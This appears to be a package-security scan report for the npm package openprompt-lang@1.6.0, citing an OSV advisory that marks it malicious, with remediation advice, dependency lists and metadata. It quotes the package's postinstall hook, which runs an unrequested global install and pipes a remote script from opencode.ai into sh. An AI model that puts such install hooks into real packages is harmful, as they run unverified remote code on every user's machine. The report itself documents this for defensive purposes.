OpenSSF/OSV advisory MAL-2026-4630 confirms this npm version as malicious. On every \`npm install\`, openprompt-lang's postinstall hook (scripts/postinstall.js:83) executes \`npm install -g @opencode/cli 2\>/dev/null || curl -fsSL https://opencode.ai/install.sh 2\>/dev/null | sh\`. The fallback fetches an unpinned shell script from opencode.ai and pipes it directly to \`sh\` with no version, no hash, and no integrity check... ## Latest scan - **Scanner version:** external-osv-malicious-v1 - **Recorded final verdict:** Malicious - **Recorded analysis confidence:** 100.0% - **Started:** 2026-06-30T15:00:00.099Z - **Finished:** 2026-06-30T15:00:00.099Z - **Download time:** Not available - **Static scan time:** Not available - **AI review time:** Not available - **Total time:** Not available The recorded confidence comes from the underlying analysis. Trusted advisory policy can determine the final verdict even when the AI assessment differs. ## Security analysis No additional public attack-surface or AI-review details are available. ## Affected versions and remediation This report applies to openprompt-lang@1.6.0. - Avoid installing openprompt-lang@1.6.0. Remove it from direct dependencies and check your lockfile for transitive copies. - Choose an independently verified alternative or release. This report does not establish that other versions are safe. - If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment. ## Public findings ### 1. High: Osv Malicious Advisory - **Category:** External Intel - **Confidence:** 100.0% On every \`npm install\`, openprompt-lang's postinstall hook (scripts/postinstall.js:83) executes \`npm install -g @opencode/cli 2\>/dev/null || curl -fsSL https://opencode.ai/install.sh 2\>/dev/null | sh\`. The fallback fetches an unpinned shell script from opencode.ai and pipes it directly to \`sh\` with no version, no hash, and no integrity check. The destination domain is not the package's publisher (the package is published under a different GitHub identity) and the auto-installed tool is unrelated to the package's stated purpose (a prompt-engineering CLI). Whatever bytes opencode.ai serves at install time run on every consumer's machine, with no user prompt or opt-out. If opencode.ai is ever compromised, redirected, or the served script is modified, every installer of openprompt-lang executes the new payload. The same line additionally performs an unsolicited global install of an unrelated third-party CLI (\`@opencode/cli\`), mutating the developer's global npm environment as a side effect of installing this library. ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall, prepublishOnly - **Dependencies:** 12 - **Optional dependencies:** 1 - **Peer dependencies:** 0 - **Development dependencies:** 5 - **Published dependency-graph edges:** 13 ### Published dependency entries - @mozilla/readability ^0.6.0 (Dependency) - ajv ^8.20.0 (Dependency) - better-sqlite3 ^12.10.0 (Dependency) - chalk ^5.3.0 (Dependency) - commander ^12.0.0 (Dependency) - handlebars ^4.7.9 (Dependency) - inquirer ^9.3.0 (Dependency) - jsdom ^29.1.1 (Dependency) - pdf-parse ^2.4.5 (Dependency) - tesseract.js ^7.0.0 (Dependency) - turndown ^7.2.4 (Dependency) - typescript ^6.0.3 (Dependency) - @xenova/transformers ^2.17.2 (OptionalDependency) ## Package metadata - **Package:** openprompt-lang - **Ecosystem:** npm - **Version:** 1.6.0 - **License:** MIT - **Version published:** Not available - **Package first seen:** 2026-06-30T15:00:00.099Z - **Package last seen:** 2026-06-30T15:00:00.099Z - **Known versions:** 11 - **Latest version:** 1.6.0 - **Appeal under review:** No - **Description:** PromptLang CLI — Context Engine de anotaciones para desarrollo asistido por IA - **Maintainers:** deadjustlive - **Keywords:** prompt-lang, openprompt-lang, ai, development, framework, annotations, react, typescript - **Runtime engines:** node: \>=18 - **Artifact files:** 20885 - **Artifact unpacked size:** 62,673,529 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]() - [Repository]() - [Homepage]() - [Issues]() - [OpenSSF/OSV advisory]() - [OpenSSF JSON]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]() - [PACKAGE]()
